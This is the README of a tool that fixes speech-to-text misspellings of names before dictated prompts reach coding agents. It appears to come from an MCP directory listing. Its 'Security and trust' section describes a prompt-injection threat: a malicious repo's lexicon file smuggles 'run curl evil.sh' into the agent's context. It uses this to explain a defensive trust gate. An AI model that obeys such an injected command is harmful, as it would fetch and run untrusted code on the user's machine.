lexicon
Adds the lexicon MCP server configuration to Windsurf (Codeium) so the agent can access and apply the lexicon.
Exports the lexicon to Deepgram's speech-to-text vocabulary format to improve recognition of custom terms.
Exports the lexicon to Google Speech-to-Text vocabulary and provides MCP configuration for Gemini CLI.
Exports the lexicon to macOS Text Replacement and supports macOS plist dictionaries for system-wide text substitution.
Provides lexicon configuration for OpenAI Codex CLI and exports vocabulary/prompts for OpenAI Whisper and ChatGPT voice to improve transcription.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@lexiconNormalize 'tell Ashler to deploy the Cooper Nettie's off service'."
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
@ashlr/lexicon
Name the job, not the protocol: a personal lexicon for voice-to-agents.
You said: "tell Ashlr.AI to deploy the Kubernetes auth service"
STT heard: "tell Ashler to deploy the Cooper Nettie's off service"
Agent received: "tell Ashlr.AI to deploy the Kubernetes auth service"One YAML file of the words speech-to-text gets wrong. Applied everywhere your voice ends up: an MCP tool your agent calls, a Claude Code hook that fixes the prompt before the model sees it, a memory snippet, exports for every dictation app, and an optional clipboard daemon.
This is not a dictation app. It sits between whatever dictation you already use and whatever agent you talk to.
Why it exists. STT engines are about 95% accurate on ordinary English and near zero on invented names. "Ashlr.AI" becomes "Ashler", "Kubernetes" becomes "Cooper Nettie's", "SaaS" becomes "sauce", "auth" becomes "off". Those are exactly the words an agent needs to get right. Dictation apps (Wispr Flow, Superwhisper, Aqua) each keep their own dictionary and none of them share it. Agents (Claude Code /voice, ChatGPT voice, Codex, local Whisper) run their own recognizer with no user vocabulary at all. This project is the portable layer: corrections happen after STT and before the model, wherever the text passes through. The research behind that call is in docs/RESEARCH.md.
Measured
On the bundled benchmark (398 dictated sentences, 70-term lexicon, see docs/BENCHMARK.md):
metric | raw STT | after lexicon |
proper nouns recovered | 5.1% | 96.5% |
clean prose sentences wrongly changed | 0.0% (0 of 95) | |
latency per sentence | 0.3 ms |
Related MCP server: explain-lint
What you get
Nine MCP tools (
normalize_transcript,add_term,learn_correction,suggest_canonical,harvest_repoand four more) for Claude Code, Codex, Cursor, Windsurf, Gemini CLI, VS Code and Claude Desktop. See MCP tools.A Claude Code plugin: MCP server,
SessionStartandUserPromptSubmithooks, alexiconskill and a/lexiconcommand. Installs from this repo's marketplace with no build step.Fifteen export formats: Wispr Flow, Superwhisper, macOS Text Replacement, espanso, Whisper and OpenAI prompts, Deepgram, AssemblyAI, Azure, Google, CLAUDE.md, markdown, text, CSV, JSON.
Seven import formats for the dictionary you already have: Wispr CSV, Superwhisper JSON, macOS plist, espanso, text, CSV, JSON.
Repo harvesting, correction learning ("it's Ashlr.AI not Ashler"), usage stats, a trust gate for project lexicons, and a clipboard daemon for macOS, Linux and Windows.
A plain library:
normalize()is a pure function. See Use as a library.
Install
npm i -g @ashlr/lexiconAdd a term. The first argument is the canonical spelling, the rest are what STT actually produces.
lexicon add Ashlr.AI Ashler Ashlar "Ashler AI" --phonetic ASH-lerTry it.
lexicon normalize "tell Ashler to ship it"
# tell Ashlr.AI to ship itNode 20 or newer. Nothing else is required; the tool makes no network requests.
Use with Claude Code
Three options, from most to least integrated.
a. Plugin
claude plugin marketplace add ashlrai/lexicon
claude plugin install lexicon@ashlraiOr inside a Claude Code session: /plugin marketplace add ashlrai/lexicon then /plugin install lexicon@ashlrai. The marketplace manifest is .claude-plugin/marketplace.json.
The plugin ships:
.mcp.json: thelexiconMCP server.hooks/hooks.json: aSessionStarthook that hands the model your lexicon once per session and aUserPromptSubmithook that corrects each dictated prompt. Both are described under What the hooks do.skills/lexicon/SKILL.md: tells Claude when to normalize, when to save a correction and when to ask "did you mean".commands/lexicon.md: the/lexiconcommand (/lexicon,/lexicon add X as Y, Z,/lexicon learn Y -> X,/lexicon harvest,/lexicon export <format>,/lexicon remove X,/lexicon stats).
The plugin is self-contained. .mcp.json and hooks/hooks.json run plugin/mcp-server.mjs and plugin/hook.mjs, two single-file bundles committed to the repo with every dependency inlined. A plugin install is a bare clone with no npm install and no build step, and that is all it needs: the only runtime requirement is Node 20 or newer on your PATH. The bundles are produced by npm run build:bundle and CI fails when they are out of date with src/.
b. Manual
lexicon install-claude # print what would change
lexicon install-claude --apply # do itWithout --apply it prints the three steps. With --apply it performs the first two:
Registers the MCP server:
claude mcp add --scope user lexicon -- node "<install path>/plugin/mcp-server.mjs". Use--scope projectto register it in the current repo instead.Merges
SessionStartandUserPromptSubmithooks runningnode "<install path>/plugin/hook.mjs"(timeout 5s) into~/.claude/settings.json. Existing hooks are kept. The fragment is in examples/claude-settings.hook.json.Reminds you to add "Read the
lexicon://meresource before interpreting dictated text" to yourCLAUDE.md.
Paths are absolute and quoted, so an install path with spaces works. The bundles under plugin/ are preferred (the npm package ships them too); a checkout that only ran npm run build falls back to dist/mcp/server.js and dist/hooks/user-prompt-submit.js. lexicon doctor checks that the plugin or the hooks are in place.
c. Minimal
No hook, no MCP. Paste the markdown export into CLAUDE.md so the model at least knows the right spellings.
lexicon export claude-md >> CLAUDE.mdWhat the hooks do
Claude Code hooks cannot rewrite the prompt. The UserPromptSubmit hook does not try. It runs normalize on the submitted text and, only if something changed, returns an additionalContext note:
The hook also bumps each matched term's hits counter in the background; it never delays or fails the prompt.
Voice lexicon corrections for this prompt (the user dictated; apply these):
"Ashler" -> "Ashlr.AI" (alias, 1.00)
"head sner" -> "Hetzner" (alias, 1.00)
Corrected prompt:
tell Ashlr.AI to ship it to HetznerThe model starts the turn already knowing that "Ashler" means "Ashlr.AI". When nothing changed it prints nothing. It always exits 0, logs errors to stderr only, and measures about 100ms end to end including Node startup (budget 200ms), so a broken lexicon never blocks a prompt.
When the prompt itself is a correction ("it's Ashlr.AI, not Ashlar", "Ashlar -> Ashlr.AI", "replace Ashlar with Ashlr.AI") the hook adds one more line asking the model to call learn_correction with those two values. The hook never writes to the lexicon; the model makes the call, so a false positive costs nothing.
The same file runs as the SessionStart hook (startup, resume, clear and compact). It emits the claude-md export of your merged lexicon as additionalContext, so the spellings reach the model once per session even if it never reads lexicon://me. The context is capped at about 4000 characters; longer tables end with "... N more terms; read the lexicon://me resource for the full list." An empty lexicon emits nothing. An untrusted project file adds one line naming its path, never its contents (see Security and trust).
Use with other agents
One command per client
lexicon install <client> prints the MCP config the client needs, with the absolute path to the installed server. Add --apply to merge it into the client's config file (existing keys and other servers are kept; running it twice is a no-op).
lexicon install codex # print the [mcp_servers.lexicon] block for ~/.codex/config.toml
lexicon install codex --apply # write itClient | Command | Writes |
Claude Code |
| same as |
OpenAI Codex CLI |
|
|
Cursor |
|
|
Windsurf |
|
|
Gemini CLI |
|
|
Claude Desktop |
|
|
VS Code |
|
|
Anything else |
| prints the generic |
--project (or --scope project) writes the repo-level file instead where the client has one: ./.codex/config.toml, ./.cursor/mcp.json, ./.gemini/settings.json, ./.vscode/mcp.json. Every client ends with the same hint: lexicon export claude-md >> <rules file> (CLAUDE.md, AGENTS.md for Codex, .cursor/rules/, GEMINI.md) so the model prefers the canonical spellings even when it does not call the tool.
Any MCP client
Point the client at the stdio server. See examples/mcp-config.json.
{
"mcpServers": {
"lexicon": {
"command": "lexicon-mcp",
"args": []
}
}
}lexicon-mcp is on your PATH after npm i -g. From a checkout, use "command": "node", "args": ["/path/to/lexicon/plugin/mcp-server.mjs"] instead; the bundle runs without a build.
The agent then calls normalize_transcript on dictated input and reads lexicon://me for the full vocabulary. The server also sends one-screen instructions at connect time, so a client that honours them knows the workflow without the skill.
ChatGPT, Claude, Grok voice
You cannot patch their recognizer. What you can do is give the model the vocabulary so it corrects the transcript itself. Paste the export into custom instructions, memory or a project system prompt.
lexicon export claude-md | pbcopyUse with your dictation app
Export the same lexicon into each app's native dictionary format.
lexicon export <format> --out <file>Format | What you get | Where it goes |
| CSV | Wispr Flow > Dictionary > Import |
| Replacements JSON | Superwhisper replacements |
| Text Replacement | Drag into System Settings > Keyboard > Text Replacements |
| espanso match YAML |
|
| One line for Whisper | Any Whisper wrapper. Keep it under about 100 terms or it stops helping |
| One line of canonicals | OpenAI transcription |
| Keyword boost JSON | Deepgram |
|
| AssemblyAI |
|
| Azure Speech |
| Adaptation | Google Speech-to-Text model adaptation (boost 20 for brand/person/product, 10 otherwise) |
| Markdown table under |
|
|
| READMEs, wikis |
|
| Anything human-edited; |
| Generic | Anything else |
| Raw lexicon JSON | Scripts, backups |
lexicon export with no format lists them. --category brand person limits the export to those categories. --limit N caps term count.
Import an existing dictionary
Already trained a dictation app? Bring its dictionary over in one command instead of retyping it. The format is detected from the content; pass it explicitly when the file has no header.
lexicon import ~/Downloads/wispr-dictionary.csv # auto-detected
lexicon import - --format text < names.txt # stdin
lexicon import replacements.json --project --dry-run # preview into .lexicon.yaml, write nothing
lexicon import Text\ Substitutions.plist --category brandFormat | What it reads | Where to get it |
| CSV | Wispr Flow > Dictionary > Export |
| JSON | Superwhisper replacements file |
| Text Replacement | Drag entries out of System Settings > Keyboard > Text Replacements |
|
|
|
| One term per line: | Anything you typed by hand, or |
|
|
|
| A lexicon JSON or YAML file |
|
Rows are merged by canonical (case-insensitive), aliases deduped, and each term is then added with the same merge rules as lexicon add, so re-importing is safe. The output is a table of what was created or merged plus a summary line, imported N terms (M new, K merged, S skipped); skipped rows and why go to stderr. Inputs over 8 MB are refused before parsing. Flags are in the CLI reference.
Harvest your repo
Most of the words STT mangles are already in your codebase.
lexicon harvest . # list candidates
lexicon harvest . --add # add them to the project lexiconIt scans package and module names (package.json, pyproject.toml, Cargo.toml, go.mod), PascalCase identifiers with two or more humps, git author names, the project directory name and proper nouns in README headings. Common words and generic identifiers (String, Error, Component) are filtered out. Each candidate comes with auto-suggested aliases.
canonical category count suggested aliases evidence
------------- ---------- ----- ------------------------------------------ -----------------
LexiconStore identifier 5 Lexicon Store, Lexikon Store, LexikonStore src/store.ts
Ashlr.AI brand 2 Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI README.md--limit N caps candidates, --min-count N sets the minimum occurrences (default 2), --json prints candidates as JSON. It never reads node_modules, dist, .git, vendor or build.
Pick candidates one by one
On a terminal, --add walks the candidates instead of adding them blindly (--yes adds every candidate without asking; --interactive / -i forces the walkthrough without --add). Each candidate shows its category, count, evidence and suggested aliases; one key decides it:
$ lexicon harvest . --add
12 candidates [y]es [n]o [e]dit aliases [c]ategory [a]ll remaining [q]uit
[1/12] LexiconStore identifier, seen 5x
evidence: src/store.ts, src/index.ts
aliases: Lexicon Store, Lexikon Store, LexikonStore
add? [y/n/e/c/a/q] y
added LexiconStore
[2/12] Ashlr.AI brand, seen 2x
evidence: README.md
aliases: Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI
add? [y/n/e/c/a/q] e
aliases (comma-separated, replaces the suggestions) [Ashlr AI, Ashlr, Ashler, Ashlar, Ashler AI] Ashler, Ashlar, Ashley our AI
aliases: Ashler, Ashlar, Ashley our AI
add? [y/n/e/c/a/q] y
added Ashlr.AI
[3/12] Mason Wyatt person, seen 40x
evidence: git log
aliases: Mason Wyat, Mason Wyeth
add? [y/n/e/c/a/q] q
added 2 new terms, merged 0, skipped 10 in /repo/.lexicon.yaml
project lexicon trusted (/repo/.lexicon.yaml)y adds, n skips, e replaces the suggested aliases with what you type, c changes the category, a adds this and every remaining candidate, q stops. Adds go to the project lexicon and respect the trust gate. --interactive without a terminal (a pipe, CI) is an error; use --add --yes there.
Learn from corrections
The other source of terms is you correcting the agent. lexicon learn records what STT heard and what you meant; the MCP tool learn_correction does the same from inside a session, and the UserPromptSubmit hook prompts the model to call it when your prompt is a correction.
lexicon learn Ashler Ashlr.AI # <heard> <meant>
lexicon learn "Ashler -> Ashlr.AI" # or one sentence
lexicon learn --from "it's Ashlr.AI, not Ashler" # natural languageIf Ashlr.AI already exists (as a canonical or an alias) the heard form becomes one more alias of it; otherwise a new term is created with source: learned plus auto-suggested aliases. Recognized phrasings: "it's X not Y", "I said X not Y", "I meant X not Y", "not Y, X", "replace Y with X", "Y -> X", "Y should be X", plus quoted forms. --project writes to .lexicon.yaml.
lexicon stats shows term and alias counts, total hits, the ten most-used terms and up to twenty that never fired. Every replacement made by the MCP normalize_transcript tool bumps the term's hits counter (the hook and the CLI do not write), so the numbers reflect what the agent actually corrected.
Review what you have
lexicon review walks existing terms (--never-hit for only the ones that never fired, --project for the project file, --category <c>), showing each term's aliases and hit count and taking k keep, d delete, e edit aliases, p phonetic hint, n notes, q quit. The file is written once at the end. lexicon edit opens the global (or --project) file in $VISUAL / $EDITOR and validates it when the editor exits, reporting any schema error with the path so your edits are never lost. lexicon add <canonical> -i turns the auto-suggested aliases into a checklist and asks for the phonetic hint and category.
Clipboard daemon (macOS, Linux, Windows)
Dictate anywhere, copy the text, paste the corrected version.
After writing a correction to the clipboard the daemon records the hits, best-effort.
lexicon daemon # watch the clipboard, rewrite in place
lexicon daemon --once # correct the clipboard once and exit (bind this to a shortcut)
lexicon daemon --once --paste # ...then send Cmd+V to the frontmost app (macOS)
lexicon daemon --dry-run # print what would change, do not write
lexicon daemon --interval 500 # poll every 500ms instead of 250
lexicon daemon --quiet # rewrite silently
lexicon daemon --which # print the detected clipboard backend and exit
lexicon daemon --backend xsel # force a backend: pbcopy | wl | xclip | xsel | powershellThe watcher polls the clipboard every 250ms. When the text changes and normalize would alter it, it writes the corrected text back and prints the diff. A loop guard remembers the last value it wrote so it never rewrites its own output. The lexicon is re-read at most every 5 seconds. Ctrl-C stops it cleanly.
The clipboard tool is detected per platform (lexicon daemon --which and lexicon doctor show which one):
Platform | Backend | Commands |
macOS |
|
|
Linux, Wayland ( |
|
|
Linux, X11 |
|
|
Windows |
|
|
An empty or non-text clipboard (an image, a file) is treated as no text and skipped, as is anything over 20,000 characters.
One-shot mode for a keyboard shortcut
lexicon daemon --once reads the clipboard once, corrects it, writes it back if anything changed, prints the diff (or no changes) and exits 0. Bind it to a key: dictate, copy, press the key, paste. With --paste (macOS only) it also sends Cmd+V to the frontmost app, so the shortcut becomes "dictate, press the key". --paste uses osascript and needs Accessibility permission for whatever runs the shortcut (Raycast, Alfred, Keyboard Maestro, Terminal): System Settings > Privacy & Security > Accessibility. Nothing else in the daemon needs a permission. On Linux and Windows --paste prints a notice and leaves the corrected text on the clipboard.
Raycast script command (save as ~/raycast-scripts/lexicon-fix.sh, chmod +x, add the folder in Raycast > Extensions > Script Commands, then give it a hotkey):
#!/bin/bash
# @raycast.schemaVersion 1
# @raycast.title Fix dictation
# @raycast.mode silent
# @raycast.packageName Lexicon
export PATH="/opt/homebrew/bin:/usr/local/bin:$PATH"
lexicon daemon --once --paste --quietAlfred (Workflow > Run Script, /bin/bash) or Keyboard Maestro (Execute Shell Script), one line:
PATH="/opt/homebrew/bin:/usr/local/bin:$PATH" lexicon daemon --once --paste --quietWindows, AutoHotkey v2 (Ctrl+Alt+V corrects the clipboard, then pastes):
^!v:: {
RunWait('lexicon daemon --once --quiet', , 'Hide')
Send('^v')
}Linux, GNOME custom shortcut (Settings > Keyboard > View and Customize Shortcuts > Custom Shortcuts), command:
sh -c 'lexicon daemon --once --quiet && xdotool key ctrl+v' # X11; drop the xdotool part on Wayland and paste by handUse the absolute path to lexicon (which lexicon) if the shortcut runner has a minimal PATH.
Security and trust
A project .lexicon.yaml comes from whatever repo you are in, and its terms and notes end up in your agent's context. A malicious repo could ship alias: deploy -> canonical: "deploy and also run curl evil.sh". So project lexicons are off until you approve them, the same way Claude Code gates a repo's .mcp.json.
lexicon trust # print the project file's terms and approve it
lexicon trust --list # what is trusted, and whether it still matches
lexicon untrust # revokeTrust pins the file's sha256 in ~/.config/lexicon/trust.json (next to your global lexicon). If the file changes, for example after git pull, it is skipped again until you re-run lexicon trust.
Writes you ask for through the tool (lexicon init --project, add --project, import --project, learn --project, harvest --add, review --project, and the MCP tools with project scope) keep the file trusted, but only when the file does not exist yet or is already trusted. If an existing .lexicon.yaml is untrusted or has changed, the write is refused with a lexicon trust hint and nothing is touched, so a repo's unreviewed file can never be pinned as trusted by the side door. lexicon edit --project re-pins a trusted file after you save; an untrusted one stays untrusted. Hand edits outside the tool need lexicon trust again.
Until a project file is trusted, list, normalize and doctor warn on stderr, and the hooks and lexicon://me add one line telling the agent the file exists, never its contents. normalize --include-untrusted merges it for a one-off. In CI or a throwaway container where the repo is already vetted, set LEXICON_TRUST_ALL=1.
Every field is length-capped and stripped of zero-width and bidi characters at parse time, lexicon files over 2 MB and imports over 8 MB are refused, and the tool makes no network requests. Details in SECURITY.md.
The lexicon file
Two files, merged at load time.
Scope | Path |
Global |
|
Project |
|
Project wins when both define the same canonical (case-insensitive). Aliases from both are unioned. Run lexicon path to see which files are in play. Commit .lexicon.yaml to share a team vocabulary; each teammate approves it once with lexicon trust.
A full annotated example is in examples/lexicon.example.yaml. The short version:
version: 1
terms:
- canonical: Ashlr.AI
aliases: [Ashler, Ashlar, Ashler AI, Ashley our AI]
phonetic: ASH-ler
category: brand
notes: my company; never write Ashlar
- canonical: SaaS
aliases: [sass]
category: acronym
never: [sauce]
settings:
minConfidence: 0.82
phonetic: true
fuzzy: true
skipCode: true
protectedWords: []Per term: canonical, aliases, optional phonetic, category (brand, person, product, acronym, identifier, place, other), notes, never, caseSensitive. The tool also records source, createdAt and hits.
Settings
Key | Default | Meaning |
|
| Minimum confidence a phonetic or fuzzy match needs before it is applied. Exact aliases are always 1.0 |
|
| Enable double metaphone matching |
|
| Enable edit-distance matching |
|
| Words no term may ever replace. Merged with the built-in stoplist |
|
| Leave |
never per term
never is a per-term list of words that must not be rewritten to that canonical even when they sound alike. It is how SaaS avoids eating every "sauce" in your prompt while still catching "sass".
How matching works
Matching runs in three tiers over token windows. Exact hits are resolved first (longest span, earliest start); phonetic and fuzzy hits only get the spans left over, and matches never overlap.
Exact alias. Word-boundary, multi-word, case-insensitive and diacritic-insensitive (
bjorn halvorsenhitsBjørn Halvorsen) unless the term setscaseSensitive. Confidence 1.0.Phonetic. Double metaphone of a token window equals that of an alias or the canonical. Confidence about 0.9, scaled by length similarity.
Fuzzy. Normalized Damerau-Levenshtein (adjacent-transposition-aware) similarity at or above
minConfidence. Confidence equals the similarity.
Guards, checked before any replacement:
The built-in stoplist of about 300 common English words, plus
settings.protectedWords, plus each term'snever.Spans already equal to the canonical. They are also claimed, so no other term can rewrite a word inside
Tadeusz WróblewskiorWispr Flow's.Text inside code spans, fences, URLs and emails when
skipCodeis on.Tokens shorter than three characters, and metaphone keys shorter than three characters (
Zod,SSO,Neon,SaaS), are only ever matched by exact alias. Spelled-out aliases such asj w tnever get a phonetic key.A phonetic or fuzzy window of two or more words never starts or ends on a function word (
to,is,a,the), sonormalizeTranscript tocannot swallow theto.A lone lowercase word (
prism,email,gram) matched by sound or spelling against a term that has explicit aliases must score at least 0.88.A trailing possessive is kept:
ashler ai'sbecomesAshlr.AI's.
Explicit aliases always beat the stoplist. If you list off as an alias for auth, "off" is rewritten. The stoplist exists to stop phonetic and fuzzy guessing, not to override what you wrote down. Use never if a term needs its own exceptions.
Every replacement carries reason (alias, phonetic, fuzzy) and confidence. --dry-run (CLI and MCP) returns the candidates without applying them.
lexicon normalize --diff "deploy to head sner with cooper netties and kubernetees"
# stderr:
# "head sner" -> "Hetzner" (alias, 1.00)
# "cooper netties" -> "Kubernetes" (phonetic, 0.85)
# "kubernetees" -> "Kubernetes" (fuzzy, 0.91)
# stdout:
# deploy to Hetzner with Kubernetes and Kubernetes--diff goes to stderr so stdout stays pipeable. --min-confidence 0.9, --no-phonetic and --no-fuzzy override the file settings for one run. normalize always exits 0; if the lexicon fails to load it prints a warning to stderr and passes the text through unchanged.
MCP tools
Server name: lexicon. Transport: stdio. Bin: lexicon-mcp (or lexicon mcp, or node plugin/mcp-server.mjs). The lexicon is re-read on every call, so edits to the file take effect immediately. Nine tools, two resources, one prompt.
Tool | Arguments | Returns |
|
|
|
|
| The stored term, its file path and |
|
| Whether it existed |
|
| Matching terms, counts per file, the paths in use, and a note when a project file was skipped as untrusted |
|
| Candidates. |
|
| The export as text |
|
| The term the alias was added to, |
|
| Up to three existing terms closest to the garbled word, with confidence, for "did you mean X?" |
| none | Term and alias counts, total hits, top ten terms, never-hit terms, per-file breakdown |
Resource | Type | Content |
|
| The |
|
| The merged lexicon as JSON |
Prompt | Purpose |
| The |
Project-scope writes (add_term, learn_correction, harvest_repo with add: true) go through the same trust gate as the CLI and return an error instead of touching an unreviewed .lexicon.yaml.
CLI reference
Global option: --cwd <dir> sets the directory used to find the project .lexicon.yaml. The same table with full --help output is generated into docs/CLI.md.
Command | Does |
| Create the global lexicon file if missing. |
| Add a term or merge aliases into an existing one. |
| Remove a term, project lexicon first then global. |
| List the merged lexicon. |
| Correct text from arguments or stdin. |
| Scan a repo for candidate terms. |
| Export for another tool; no format lists them. |
| Import a dictation app's dictionary ( |
| Record a correction: |
| Term and alias counts, most-used terms and terms that never fired. |
| Walk existing terms and |
| Open the global lexicon ( |
| Print a preview of the project |
| Revoke approval for a project |
| Print the resolved global and project file paths |
| Check lexicon files, term conflicts (duplicates across scopes, ambiguous aliases, aliases that are common words), the Claude Code integration (plugin or hooks, |
| Start the stdio MCP server (same as |
| Run the Claude Code hook (JSON in, JSON out; dispatches on |
| Clipboard watcher (macOS, Linux, Windows). |
| Print the Claude Code MCP + hook setup. |
| Print (or with |
Use as a library
Everything the CLI, MCP server and hooks do is available as plain functions. normalize() is pure (text + lexicon in, result out); the store functions read and write the same YAML files the CLI uses.
npm i @ashlr/lexiconimport { normalize, loadLexicon, addTerm, harvestRepo, exportLexicon } from '@ashlr/lexicon';
// Global ~/.config/lexicon/lexicon.yaml (or $LEXICON_PATH) merged with a trusted
// project .lexicon.yaml found from cwd.
const { merged: lexicon } = await loadLexicon({ cwd: process.cwd() });
const result = normalize('ask ashler to deploy pie dantic', lexicon);
// {
// input: 'ask ashler to deploy pie dantic',
// output: 'ask Ashlr.AI to deploy Pydantic',
// changed: true,
// replacements: [
// { start: 4, end: 10, original: 'ashler', replacement: 'Ashlr.AI',
// canonical: 'Ashlr.AI', reason: 'alias', confidence: 1 },
// { start: 21, end: 31, original: 'pie dantic', replacement: 'Pydantic',
// canonical: 'Pydantic', reason: 'alias', confidence: 1 },
// ],
// }
// Teach it a term (merges aliases into an existing canonical; scope: 'project' writes .lexicon.yaml).
await addTerm({ canonical: 'Deepgram', aliases: ['deep gram'], category: 'product' });
// Mine a codebase for names worth adding, then render the lexicon for another tool.
const candidates = await harvestRepo('/path/to/repo', { limit: 20 });
const whisperPrompt = exportLexicon(lexicon, 'whisper-prompt');Embedding it in your own STT pipeline, between the transcription API and the model:
import { loadLexicon, normalize, exportLexicon } from '@ashlr/lexicon';
const { merged: lexicon } = await loadLexicon();
const prompt = exportLexicon(lexicon, 'whisper-prompt'); // bias the STT model first
const heard = await transcribe(audio, { prompt }); // Whisper / Deepgram / etc.
const fixed = normalize(heard, lexicon); // then fix what it still got wrong
if (fixed.changed) console.error(fixed.replacements.map((r) => `${r.original} -> ${r.replacement}`));
await llm.send(fixed.output);Other useful exports: parseLexicon(raw) validates an object you loaded yourself, diffSummary(result) renders the replacement list, suggestAliases(canonical) guesses likely misspellings, importLexicon(content, format) parses another tool's dictionary, parseCorrection(text) and learnCorrection({ heard, meant }) handle corrections, suggestCanonicalFor(heard, lexicon) finds the closest terms, computeStats(loaded) reports usage, and EXPORT_FORMATS / IMPORT_FORMATS list what exportLexicon / importLexicon accept. Types (Lexicon, Term, NormalizeResult, HarvestCandidate, ...) are exported too. Runnable versions of both snippets: examples/library-usage.ts and examples/stt-pipeline.ts (node --import tsx examples/<file>).
Development
npm install
npm run build # tsc -> dist/
npm run build:bundle # esbuild -> plugin/mcp-server.mjs + plugin/hook.mjs (commit these)
npm run check:bundle # rebuild and fail if plugin/ differs from the checked-in files (CI runs this)
npm test # unit + integration + e2e (vitest)
npm run test:e2e # only tests/e2e.test.ts: the real CLI, hook and MCP server as subprocesses
npm run bench # accuracy benchmark (see bench/README.md); the report is what docs/BENCHMARK.md records
npm run docs:cli # regenerate docs/CLI.md from every command's --helpRebuild the plugin bundles before committing any change under src/core, src/mcp or src/hooks; CI rejects a stale plugin/. The e2e suite runs from source (node --import tsx) against a temp HOME, so it needs no build and never touches your real lexicon. Set LEXICON_SKIP_E2E=1 to skip it.
Manual stdio check:
node dist/mcp/server.jsInteractive check with the MCP inspector:
npx @modelcontextprotocol/inspector node dist/mcp/server.jsProject layout:
src/core/ the library: types, schema, store, trust, matcher, normalize, suggest, harvest, learn, stats, exporters/, importers/
src/cli/ the `lexicon` command (commander wiring in index.ts, handlers in commands.ts and cmd-*.ts, prompt.ts for interactive input)
src/mcp/ the stdio MCP server (`lexicon-mcp`)
src/hooks/ the Claude Code SessionStart and UserPromptSubmit hook
src/daemon/ the clipboard watcher and its per-platform backends
plugin/ committed esbuild bundles of the MCP server and hook that the plugin runs
tests/ vitest; one file per module, e2e.test.ts for whole-journey subprocess tests, fixtures/fake-repo for harvest
bench/ accuracy benchmark corpus and runner
examples/ example lexicon, client configs, library and STT pipeline examples
scripts/ build-bundle (plugin) and gen-cli-docs
docs/ ARCHITECTURE, RESEARCH, BENCHMARK and the generated CLI reference
skills/ commands/ hooks/ .claude-plugin/ .mcp.json what makes the repo a Claude Code pluginModule layout and design decisions are in docs/ARCHITECTURE.md; the per-module API is in CONTRACT.md. See CONTRIBUTING.md to add an exporter, importer, harvester or journey test.
Roadmap and non-goals
Non-goals:
Not a dictation app. Bring your own.
No hosted accounts, no sync service. It is a file.
No Chrome extension.
Roadmap:
VS Code extension that applies the lexicon to dictation inside the editor.
Per-app sync: push changes into Wispr Flow, Superwhisper and macOS Text Replacement automatically instead of by export.
Non-English phonetics. Double metaphone is tuned for English; names in other languages fall back to fuzzy matching.
Real-audio benchmark. The current corpus is generated from observed STT errors, not recorded speech.
Kill criteria, from the research memo: if Claude Code ships first-party custom vocabulary for /voice, the hook and MCP paths lose most of their value for the primary user (the file format and exports may still be worth keeping). If a system-wide dictation app captures agent voice input and its dictionary follows the user everywhere, the portable layer is redundant.
License
MIT. Copyright 2026 Ashlr.AI.
This server cannot be deployed
Maintenance
Related MCP Connectors
Hosted speech-to-text + speech emotion/tone analysis for agents. No install; trial keys built in.
- backrowOAuthai.backrow
Turn any recording or document into notes, flashcards and quizzes your agent can read and act on
Podcast intelligence for agents: transcripts, clips, speaker diarization, mention tracking.
Turn sales-call transcripts into traced proposals, contracts, and NDAs.
Related MCP Servers
- FlicenseAqualityDmaintenanceEnables autonomous prompt improvement for voice AI agents through feedback analysis, test generation, and iterative testing.10-
- AlicenseNot gradedqualityBmaintenanceEnables AI assistants to identify and judge unexplained terms in prose documents by providing differential linting, term context, and ledger management.MIT
- AlicenseNot gradedqualityBmaintenanceCaptures user corrections and improvements during interactions, logs them, finds recurring patterns, and prescribes preventive fixes like CLAUDE.md rules, skills, scripts, or MCP tools to avoid repeating mistakes.6 npmMIT
- AlicenseAqualityAmaintenanceEnables human-like non-fiction authoring by training custom voices, applying tone presets, auditing drafts for AI tells, and managing dictionaries, all locally.19149 npm8MIT